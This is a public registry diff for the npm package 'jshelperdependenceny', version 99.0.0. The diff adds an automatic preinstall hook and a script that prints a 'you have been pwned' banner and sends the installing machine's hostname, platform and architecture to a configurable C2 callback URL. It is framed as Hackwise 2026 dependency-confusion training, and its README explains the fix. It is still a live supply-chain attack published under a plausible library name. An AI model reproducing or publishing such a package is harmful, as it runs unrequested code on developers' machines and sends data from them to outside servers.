jshelperdependenceny 0.0.1-security → 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of jshelperdependenceny might be problematic. Click here for more details.
- package/README.md +29 -3
- package/index.js +6 -0
- package/package.json +9 -3
- package/preinstall.js +85 -0
package/README.md
CHANGED
|
@@ -1,5 +1,31 @@
|
|
|
1
|
-
#
|
|
1
|
+
# jshelperdependencenyconf
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
> ⚠️ **This is a security research package for [Hackwise 2026](https://hackwise.dev) training.**
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
This package demonstrates the **Dependency Confusion** vulnerability.
|
|
6
|
+
If you installed this unintentionally, your project may be misconfigured.
|
|
7
|
+
|
|
8
|
+
## What happened?
|
|
9
|
+
|
|
10
|
+
Your project depends on an internal/private package called `jshelperdependencenyconf`.
|
|
11
|
+
Because your `.npmrc` or registry configuration allows fallback to the public npm registry,
|
|
12
|
+
npm resolved this public package (v99.0.0) instead of your internal one (v1.0.0).
|
|
13
|
+
|
|
14
|
+
## Is this harmful?
|
|
15
|
+
|
|
16
|
+
**No.** This package only prints a warning banner. It does not:
|
|
17
|
+
- Execute system commands
|
|
18
|
+
- Read environment variables or files
|
|
19
|
+
- Open network connections to steal data
|
|
20
|
+
|
|
21
|
+
In a real attack, all of the above would be possible.
|
|
22
|
+
|
|
23
|
+
## How to fix
|
|
24
|
+
|
|
25
|
+
1. Use **scoped packages**: `@yourcompany/jshelperdependencenyconf`
|
|
26
|
+
2. Pin your registry in `.npmrc` — don't allow public fallback
|
|
27
|
+
3. Use `npm install --ignore-scripts` in CI/CD
|
|
28
|
+
|
|
29
|
+
## Contact
|
|
30
|
+
|
|
31
|
+
Hackwise 2026 — Offensive Security Training
|
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "jshelperdependenceny",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "JS Helper Dependency Config Library",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js || true"
|
|
8
|
+
},
|
|
9
|
+
"keywords": ["helper", "config", "utils"],
|
|
10
|
+
"author": "hackwise-lab",
|
|
11
|
+
"license": "MIT"
|
|
6
12
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,85 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Dependency Confusion — Educational Beacon
|
|
3
|
+
* Hackwise 2026 Lab
|
|
4
|
+
*
|
|
5
|
+
* This script only sends hostname + package info to a callback URL.
|
|
6
|
+
* No command execution, no env variables, no file reads.
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
const https = require('https');
|
|
10
|
+
const http = require('http');
|
|
11
|
+
const os = require('os');
|
|
12
|
+
|
|
13
|
+
// ──── CONFIGURE THIS ────
|
|
14
|
+
// Option 1: Your own C2 server
|
|
15
|
+
const C2_URL = process.env.DC_CALLBACK_URL || 'http://127.0.0.1:5656/exfil';
|
|
16
|
+
|
|
17
|
+
// Option 2: Use a free webhook catcher for demo:
|
|
18
|
+
// https://webhook.site → paste your unique URL below
|
|
19
|
+
// const C2_URL = 'https://webhook.site/YOUR-UNIQUE-ID';
|
|
20
|
+
// ─────────────────────────
|
|
21
|
+
|
|
22
|
+
const banner = `
|
|
23
|
+
\x1b[31m
|
|
24
|
+
██████╗ ██╗ ██╗███╗ ██╗███████╗██████╗ ██╗
|
|
25
|
+
██╔══██╗██║ ██║████╗ ██║██╔════╝██╔══██╗██║
|
|
26
|
+
██████╔╝██║ █╗ ██║██╔██╗ ██║█████╗ ██║ ██║██║
|
|
27
|
+
██╔═══╝ ██║███╗██║██║╚██╗██║██╔══╝ ██║ ██║╚═╝
|
|
28
|
+
██║ ╚███╔███╔╝██║ ╚████║███████╗██████╔╝██╗
|
|
29
|
+
╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝╚═════╝ ╚═╝
|
|
30
|
+
|
|
31
|
+
╔═══════════════════════════════════════════════════╗
|
|
32
|
+
║ ⚠️ DEPENDENCY CONFUSION — YOU HAVE BEEN PWNED ║
|
|
33
|
+
╠═══════════════════════════════════════════════════╣
|
|
34
|
+
║ Package: jshelperdependenceny v99.0.0 ║
|
|
35
|
+
║ Expected: v1.0.0 (internal) ║
|
|
36
|
+
║ Source: Hackwise 2026 Security Lab ║
|
|
37
|
+
║ ║
|
|
38
|
+
║ In a real attack, this script could: ║
|
|
39
|
+
║ • Steal environment variables (API keys, tokens)║
|
|
40
|
+
║ • Read SSH keys & config files ║
|
|
41
|
+
║ • Open a reverse shell ║
|
|
42
|
+
║ • Pivot into CI/CD pipelines ║
|
|
43
|
+
║ ║
|
|
44
|
+
║ 🛡️ Fix: Use scoped packages + registry pinning ║
|
|
45
|
+
╚═══════════════════════════════════════════════════╝
|
|
46
|
+
\x1b[0m`;
|
|
47
|
+
|
|
48
|
+
console.log(banner);
|
|
49
|
+
|
|
50
|
+
// Send a minimal beacon — hostname only, nothing sensitive
|
|
51
|
+
const payload = JSON.stringify({
|
|
52
|
+
alert: 'dependency-confusion',
|
|
53
|
+
package: 'jshelperdependenceny',
|
|
54
|
+
version: '99.0.0',
|
|
55
|
+
hostname: os.hostname(),
|
|
56
|
+
platform: os.platform(),
|
|
57
|
+
arch: os.arch(),
|
|
58
|
+
timestamp: new Date().toISOString(),
|
|
59
|
+
message: 'This machine installed a malicious package via dependency confusion.'
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
try {
|
|
63
|
+
const url = new URL(C2_URL);
|
|
64
|
+
const transport = url.protocol === 'https:' ? https : http;
|
|
65
|
+
|
|
66
|
+
const req = transport.request({
|
|
67
|
+
hostname: url.hostname,
|
|
68
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
69
|
+
path: url.pathname,
|
|
70
|
+
method: 'POST',
|
|
71
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) },
|
|
72
|
+
timeout: 3000
|
|
73
|
+
}, (res) => {
|
|
74
|
+
console.log(`\x1b[32m[✓] Beacon sent to ${url.hostname} (${res.statusCode})\x1b[0m\n`);
|
|
75
|
+
});
|
|
76
|
+
|
|
77
|
+
req.on('error', () => {
|
|
78
|
+
console.log('\x1b[33m[!] Callback URL unreachable — configure DC_CALLBACK_URL\x1b[0m\n');
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
req.write(payload);
|
|
82
|
+
req.end();
|
|
83
|
+
} catch (e) {
|
|
84
|
+
console.log('\x1b[33m[!] Invalid callback URL — set DC_CALLBACK_URL env var\x1b[0m\n');
|
|
85
|
+
}
|